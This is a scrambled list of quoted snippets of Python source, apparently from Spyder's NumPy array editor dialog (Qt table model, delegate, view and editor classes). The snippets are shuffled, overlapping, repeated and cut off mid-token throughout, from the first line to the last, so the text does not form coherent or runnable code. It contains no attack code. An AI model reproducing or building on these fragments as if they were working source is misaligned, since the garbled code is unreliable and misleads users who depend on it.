self.error(_(\"Arrays with more", "self.total_cols <= self.cols_loaded: return self.total_cols else: return self.cols_loaded def rowCount(self,", "__init__(self, parent, model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self))", "the whole thing col_max = self.model().total_cols-1 if row_min == 0", "= np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin -= 1 self.hue0", "ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes are", "old_cols_loaded = None if rows and value == self.verticalScrollBar().maximum(): old_rows_loaded", "= self.data.shape[self.last_dim] + index else: data_index = index slice_index =", "= io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self,", "self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array:", "party imports from qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore import", "readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels))", "% index) if index < 0: data_index = self.data.shape[self.last_dim] +", "1. # Value self.alp = .6 # Alpha-channel self._data =", "return False i = index.row() j = index.column() value =", "disable=R0911 # pylint: disable=R0201 # Standard library imports from __future__", "Needed to handle a NameError while fetching data when closing", "row selected (so expand it to match updated # range)", "right after closing the dialog box, # otherwise it may", "index) if not is_string(val): if val > self.vmax: self.vmax =", "= part.left() right = part.right() if (old_cols_loaded is not None", "compete row selected (so expand it to match updated #", "('float' in dtype.name) or dtype.name in ['single', 'double'] def is_number(dtype):", "if self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded items_to_fetch = min(reminder,", "self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\" This is implemented for", "is_float(dtype): \"\"\"Return True if datatype dtype is a float kind\"\"\"", "def reject(self): \"\"\"Reimplement Qt method\"\"\" if self.arraywidget is not None:", "None and len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels' argument length do", "import DEFAULT_SMALL_DELTA from spyder.config.gui import get_font, config_shortcut from spyder.py3compat import", "self.model().get_data() if PY3: output = io.BytesIO() else: output = io.StringIO()", "return self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\" if self.total_rows", "backgroundcolor\"\"\" self.bgcolor_enabled = state > 0 self.reset() def get_value(self, index):", "self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons configuration", "for index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return modified", "if self.old_data_shape is not None: self.data.shape = self.old_data_shape def change_format(self):", "\"\"\"Cell content\"\"\" if not index.isValid(): return to_qvariant() value = self.get_value(index)", "# Copyright © Spyder Project Contributors # Licensed under the", "self._data.shape[1] size = self.total_rows * self.total_cols try: self.vmin = np.nanmin(self.color_func(data))", "is not None: self.data.shape = self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\"", "value.lower().endswith('e'): return False try: val = complex(value) if not val.imag:", "Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\"", "SUPPORTED_FORMATS and not dtn.startswith('str') \\ and not dtn.startswith('unicode'): arr =", "btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label)", "format % 1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is incorrect\")", "disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 # Standard library", "if PY3: output = io.BytesIO() else: output = io.StringIO() try:", "act as a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def", "= data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is None: stack_index", "if self.arraywidget is not None: for index in range(self.stack.count()): self.stack.widget(index).reject_changes()", "option, index): \"\"\"Create editor widget\"\"\" model = index.model() value =", "won't be changed # but at least Spyder won't crash.", "-= 1 self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled =", "output.close() return contents @Slot() def copy(self): \"\"\"Copy text to clipboard\"\"\"", "if rows: if self.total_rows > self.rows_loaded: return True else: return", "bottom_right): \"\"\"Handle the data change event to enable the save", "self.xlabels if orientation == Qt.Horizontal else self.ylabels if labels is", "else: self.cols_loaded = self.total_cols def get_format(self): \"\"\"Return current format\"\"\" #", "editor.setText(text) #TODO: Implement \"Paste\" (from clipboard) feature class ArrayView(QTableView): \"\"\"Array", "self.arraywidget = None self.stack = None self.layout = None self.btn_save_and_close", "self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols", "self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) # Make the dialog act", "return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section, orientation,", "return False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title: title", "This is implemented for handling negative values in index for", "data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self,", "AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): \"\"\"Set editor", "QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False, xlabels=None,", "#============================================================================== # Main classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table", "to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index, value, role=Qt.EditRole): \"\"\"Cell content", "self.old_data_shape is not None: self.data.shape = self.old_data_shape def reject_changes(self): \"\"\"Reject", "# for complex numbers, shading will be based on absolute", "bottom_right = self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select", "self.data.shape[0]: self.error(_(\"The 'ylabels' argument length do no match array row", "not dtn.startswith('unicode'): arr = _(\"%s arrays\") % data.dtype.name self.error(_(\"%s are", "is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels))", "icon_manager as ima from spyder.utils.qthelpers import add_actions, create_action, keybinding #", "\"this array\")) return contents = output.getvalue().decode('utf-8') output.close() return contents @Slot()", "None self.vmax = None self.hue0 = None self.dhue = None", "_('read only') + ')' self.setWindowTitle(title) self.resize(600, 500) # Stack widget", "self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax == self.vmin:", "_data = self.model().get_data() if PY3: output = io.BytesIO() else: output", "# Avoid a segfault with PyQt5. Variable value won't be", "self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action =", "try: self.test_array[0] = val # will raise an Exception eventually", "self.model().rows_loaded-1 left = part.left() right = part.right() if (old_cols_loaded is", "7880 pass def resize_to_contents(self): \"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents()", "index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return modified array", "'%d', 'uintc': '%d', 'uint': '%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8':", "# (see spyder/__init__.py for details) \"\"\" NumPy Array Editor Dialog", "val.imag: val = val.real except ValueError as e: QMessageBox.critical(self.dialog, \"Error\",", "1e5 LARGE_COLS = 60 #============================================================================== # Utility functions #============================================================================== def", "data[name], readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels,", "= self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not None or old_cols_loaded", "the data change event to enable the save and close", "changing the startup dimension def setup_and_check(self, data, title='', readonly=False, xlabels=None,", "from spyder.utils.qthelpers import add_actions, create_action, keybinding # Note: string and", "def load_more_data(self, value, rows=False, columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded", "xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed)", "except ValueError as e: QMessageBox.critical(self.dialog, \"Error\", \"Value error: %s\" %", "value.lower().startswith('e') or value.lower().endswith('e'): return False try: val = complex(value) if", "number of # columns is too large if size >", "from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex,", "set the widget to display when launched self.current_dim_changed(self.last_dim) else: ra_combo", "self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state >", "col_max == (self.model().cols_loaded-1): # we've selected a whole column. It", "def setup_and_check(self, data, title='', readonly=False, xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor:", "readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable)", "from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout,", "== 0 and row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data", "part.bottom() if (old_rows_loaded is not None and top == 0", "3: # QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox", "performance reasons, changes applied \"\\ \"to masked array won't be", "QWidget.__init__(self, parent) self.data = data self.old_data_shape = None if len(self.data.shape)", "columns: if self.total_cols > self.cols_loaded: return True else: return False", "keybinding # Note: string and unicode data types will be", "self.data[i, j] = value if self.old_data_shape is not None: self.data.shape", "a segmentation fault on UNIX or an application crash on", "self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1] size = self.total_rows *", "formatting\"), QLineEdit.Normal, self.model.get_format()) if valid: format = str(format) try: format", "spyder.utils import icon_manager as ima from spyder.utils.qthelpers import add_actions, create_action,", "expand it to match updated # range) right = self.model().cols_loaded-1", "disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201", "'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r',", "\"\"\"Return True if datatype dtype is a float kind\"\"\" return", "0: self.old_data_shape = self.data.shape self.data.shape = (1, 1) format =", "True def flags(self, index): \"\"\"Set editable flag\"\"\" if not index.isValid():", "self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0)", "data.dtype.names: field = data.dtype.fields[name] text = name if len(field) >=", "self.data[tuple(slice_index)])) except IndexError: # Handle arrays of size 0 in", "self.vmax: self.vmax = val if val < self.vmin: self.vmin =", "\"\"\"Reject changes\"\"\" if self.old_data_shape is not None: self.data.shape = self.old_data_shape", "not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator", "data'), _('Data'), _('Mask')] if data.ndim == 3: # QSpinBox self.index_spin", "def set_format(self, format): \"\"\"Change display format\"\"\" self._format = format self.reset()", "of the MIT License # (see spyder/__init__.py for details) \"\"\"", "garbage-collected in another QThread # (e.g. the editor's analysis thread", "dtype.name) def get_idx_rect(index_list): \"\"\"Extract the boundaries from a list of", "False if not is_record_array: dtn = data.dtype.name if dtn not", "index else: data_index = index slice_index = [slice(None)]*3 slice_index[self.last_dim] =", "self.bgcolor_enabled \\ and value is not np.ma.masked: try: hue =", "QDialog.accept(self) def get_value(self): \"\"\"Return modified array -- this is *not*", "500 COLS_TO_LOAD = 40 def __init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None,", "rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\" if self.total_rows <= self.rows_loaded: return", "self.data.shape[self.last_dim] + index else: data_index = index slice_index = [slice(None)]*3", "to_qvariant(value)) return elif value is not np.ma.masked: editor = QLineEdit(parent)", "right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except", "bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed to", "self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self): \"\"\"Reimplement Qt method\"\"\" for", "} LARGE_SIZE = 5e5 LARGE_NROWS = 1e5 LARGE_COLS = 60", "j] = value if self.old_data_shape is not None: self.data.shape =", "complex(value) if not val.imag: val = val.real except ValueError as", "name if len(field) >= 3: title = field[2] if not", "% value) except TypeError: self.readonly = True return repr(value) elif", "self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\"", "None self.btn_save_and_close = None self.btn_close = None # Values for", "lambda val: self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False, columns=False): try:", "currently not supported\") % arr) return False self.layout = QGridLayout()", "= get_idx_rect(cell_range) if col_min == 0 and col_max == (self.model().cols_loaded-1):", "self.color_func(value)) / (float(self.vmax) - self.vmin)) hue = float(np.abs(hue)) color =", "currently 0 it does not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index],", "except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is incorrect\") % format) return", "self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD)", "error(self, message): \"\"\"An error occured, closing the dialog box\"\"\" QMessageBox.critical(self,", "is too large if size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD", "It isn't possible to # select only the first part", "is implemented for handling negative values in index for 3d", "== Qt.BackgroundColorRole and self.bgcolor_enabled \\ and value is not np.ma.masked:", "close editor\"\"\" editor = self.sender() # Avoid a segfault with", "total_width = 0 for k in range(shape[1]): total_width += self.columnWidth(k)", "\\ or ('short' in dtype.name) def get_idx_rect(index_list): \"\"\"Extract the boundaries", "arr) return False self.layout = QGridLayout() self.setLayout(self.layout) self.setWindowIcon(ima.icon('arredit')) if title:", "in another QThread # (e.g. the editor's analysis thread in", "'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g',", "self.rows_loaded, self.rows_loaded + items_to_fetch - 1) self.rows_loaded += items_to_fetch self.endInsertRows()", "self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item Delegate\"\"\" def __init__(self,", "except TypeError: self.readonly = True return repr(value) elif role ==", "\"\"\"Change display format\"\"\" self._format = format self.reset() def columnCount(self, qindex=QModelIndex()):", "self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels))", "as ima from spyder.utils.qthelpers import add_actions, create_action, keybinding # Note:", "otherwise \"\"\" self.data = data readonly = readonly or not", "closing the dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject()", "# Main classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\"", "self.stack = QStackedWidget(self) if is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self,", "column without loading more, # so we can treat it", "layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\" for (i, j),", "self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index) + \"]\") % index) if", "self.changes[(i, j)] = val self.dataChanged.emit(index, index) if not is_string(val): if", "row_max = self.model().total_rows-1 _data = self.model().get_data() if PY3: output =", "try: val = complex(value) if not val.imag: val = val.real", "if val < self.vmin: self.vmin = val return True def", "is_text_string(title): title = repr(title) text += ' - '+title names.append(text)", "Buttons configuration btn_layout = QHBoxLayout() if is_record_array or is_masked_array or", "\"\"\"Reimplement Qt method\"\"\" if event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self,", "j)] = val self.dataChanged.emit(index, index) if not is_string(val): if val", "np.abs else: self.color_func = np.real # Backgroundcolor settings huerange =", "be reflected in \"\\ \"array's data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch()", "this is done since if the value is currently 0", "False # Add change to self.changes self.changes[(i, j)] = val", "string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index) +", "np # Local imports from spyder.config.base import _ from spyder.config.fonts", "'longlong': '%d', 'intp': '%d', 'int8': '%d', 'int16': '%d', 'int32': '%d',", "'complex192': '%r', 'complex256': '%r', 'byte': '%d', 'bytes8': '%s', 'short': '%d',", "part.top() bottom = part.bottom() if (old_rows_loaded is not None and", "IndexError: # Handle arrays of size 0 in one axis", "# Third party imports from qtpy.compat import from_qvariant, to_qvariant from", "except NameError: # Needed to handle a NameError while fetching", "it has probably # already been destroyed, due to the", "\"\"\"Cell content change\"\"\" if not index.isValid() or self.readonly: return False", "self.reject() @Slot() def reject(self): \"\"\"Reimplement Qt method\"\"\" if self.arraywidget is", "Qt.Horizontal else self.ylabels if labels is None: return to_qvariant(int(section)) else:", "accessing Qt C++ object as it has probably # already", "whole column. It isn't possible to # select only the", "on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget = None self.stack", "= float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color)", "'intp': '%d', 'int8': '%d', 'int16': '%d', 'int32': '%d', 'int64': '%d',", "= .7 # Saturation self.val = 1. # Value self.alp", "TypeError: return to_qvariant() elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return", "self.model().total_cols-1 if row_min == 0 and row_max == (self.model().rows_loaded-1): row_max", "QThread # (e.g. the editor's analysis thread in Spyder), thus", "+= items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded", "self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1,", "= name if len(field) >= 3: title = field[2] if", "QItemSelection() for part in old_selection: top = part.top() bottom =", "datatype dtype is a float kind\"\"\" return ('float' in dtype.name)", "name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val:", "# set the widget to display when launched self.current_dim_changed(self.last_dim) else:", "number\"\"\" if self.total_rows <= self.rows_loaded: return self.total_rows else: return self.rows_loaded", "self.error(_(\"%s are currently not supported\") % arr) return False self.layout", "_(\"Array editor\") if readonly: title += ' (' + _('read", "'%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r', 'complex192':", "> self.vmax: self.vmax = val if val < self.vmin: self.vmin", "if not is_text_string(title): title = repr(title) text += ' -", "\"\"\"Array view class\"\"\" def __init__(self, parent, model, dtype, shape): QTableView.__init__(self,", "the real part if data.dtype in (np.complex64, np.complex128): self.color_func =", "val if val < self.vmin: self.vmin = val return True", "title = _(\"Array editor\") if readonly: title += ' ('", "widget to display when launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self)", "PyQt5. Variable value won't be changed # but at least", "str(format) try: format % 1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s)", "self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def", "self.dataChanged.emit(index, index) if not is_string(val): if val > self.vmax: self.vmax", "part of a column without loading more, # so we", "None self.arraywidget = None self.stack = None self.layout = None", "is None: return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel()", "index.isValid() or self.readonly: return False i = index.row() j =", "self.test_array[0] = val # will raise an Exception eventually except", "context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda", "Qt, Slot) from qtpy.QtGui import QColor, QCursor, QDoubleValidator, QKeySequence from", "(self.data.shape[0], 1) elif len(self.data.shape) == 0: self.old_data_shape = self.data.shape self.data.shape", "for 3d array editor self.dim_indexes = [{}, {}, {}] self.last_dim", "') % self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0) else: #", "as np # Local imports from spyder.config.base import _ from", "0: data_index = self.data.shape[self.last_dim] + index else: data_index = index", "self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index):", "[.66, .99] # Hue self.sat = .7 # Saturation self.val", "color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \", \".join(string_index) + \"]\") % index)", "a segfault with PyQt5. Variable value won't be changed #", "if (old_cols_loaded is not None and left == 0 and", "reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item Delegate\"\"\" def", "3: title = field[2] if not is_text_string(title): title = repr(title)", "data self._format = format self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1]", "boundaries from a list of indexes\"\"\" rows, cols = list(zip(*[(i.row(),", "self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set the widget to display", "QInputDialog.getText(self, _( 'Format'), _( \"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if valid:", "QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView,", "'%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view", "QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\"))", "= self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\" This is implemented", "output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except:", "data\"\"\" if role != Qt.DisplayRole: return to_qvariant() labels = self.xlabels", "value) except TypeError: self.readonly = True return repr(value) elif role", "self.changes = {} self.xlabels = xlabels self.ylabels = ylabels self.readonly", "# complete column selected (so expand it to match #", "% str(e)) return False try: self.test_array[0] = val # will", "array editor is plotting over in 3D \"\"\" self.last_dim =", "Local imports from spyder.config.base import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA", "self.test_array = np.array([0], dtype=data.dtype) # for complex numbers, shading will", "import (io, is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils", "editor widget's data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO:", "method\"\"\" if event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def", "a list of indexes\"\"\" rows, cols = list(zip(*[(i.row(), i.column()) for", "# Note: string and unicode data types will be formatted", "= from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement \"Paste\" (from clipboard)", "the dialog act as a window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex,", "def copy(self): \"\"\"Copy text to clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes()", "if the value is currently 0 it does not emit", "5e5 LARGE_NROWS = 1e5 LARGE_COLS = 60 #============================================================================== # Utility", "total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape self.menu", "over in 3D \"\"\" self.last_dim = index string_size = ['%i']*3", "huerange = [.66, .99] # Hue self.sat = .7 #", "delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was not possible to", "btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_(", "self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False, columns=False): try: old_selection =", "data types will be formatted with '%s' (see below) SUPPORTED_FORMATS", "and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True)", "None self.bgcolor_enabled = False # Use paging when the total", "avoid accessing Qt C++ object as it has probably #", "left) bottom_right = self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part)", "= self.old_data_shape def change_format(self): \"\"\"Change display format\"\"\" format, valid =", "= QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: #", "in data.dtype.names: field = data.dtype.fields[name] text = name if len(field)", "so we can treat it as intentional and copy the", "len(self._data.shape) == 1: value = self._data[j] else: value = self._data[i,", "pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self, editor, index): \"\"\"Set editor widget's", "= QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to layout", "readonly = readonly or not self.data.flags.writeable is_record_array = data.dtype.names is", "add_actions(menu, [self.copy_action, ]) return menu def contextMenuEvent(self, event): \"\"\"Reimplement Qt", "@Slot() def copy(self): \"\"\"Copy text to clipboard\"\"\" cliptxt = self._sel_to_text(", "get_value(self): \"\"\"Return modified array -- this is *not* a copy\"\"\"", "bottom = self.model().rows_loaded-1 left = part.left() right = part.right() if", "= dtype def createEditor(self, parent, option, index): \"\"\"Create editor widget\"\"\"", "box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self):", "readonly=False, xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor: return False if data", "or dtype.startswith(\"str\"): val = to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'):", "not None: self.data.shape = self.old_data_shape def change_format(self): \"\"\"Change display format\"\"\"", "argument length do no match array row \" \"number\")) return", "return to_qvariant() elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant()", "self.last_dim = 0 # Adjust this for changing the startup", "\"\"\"Return modified array -- this is *not* a copy\"\"\" #", "self._data.shape[0] self.total_cols = self._data.shape[1] size = self.total_rows * self.total_cols try:", "= 40 def __init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None):", "role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and", "'complex64': '%r', 'complex128': '%r', 'complex192': '%r', 'complex256': '%r', 'byte': '%d',", "left = part.left() right = part.right() if (old_cols_loaded is not", "(i, j), value in list(self.model.changes.items()): self.data[i, j] = value if", "(%s) is incorrect\") % format) return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array", "# Adjust this for changing the startup dimension def setup_and_check(self,", "lambda val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def", "array fields:\"))) names = [] for name in data.dtype.names: field", "xlabels=None, ylabels=None): \"\"\" Setup ArrayEditor: return False if data is", "huerange[1]-huerange[0] self.bgcolor_enabled = True except (TypeError, ValueError): self.vmin = None", "= QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\")) # disable format", "QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): \"\"\"Copy an array portion to", "format, valid = QInputDialog.getText(self, _( 'Format'), _( \"Float formatting\"), QLineEdit.Normal,", "self.shape = shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self)", "value.lower() == \"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val = to_binary_string(value,", "name in data.dtype.names: field = data.dtype.fields[name] text = name if", "int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn)", "a bug in sip. try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor,", "# Destroying the C++ object right after closing the dialog", "self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch", "')' self.setWindowTitle(title) self.resize(600, 500) # Stack widget self.stack = QStackedWidget(self)", "one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def", "def 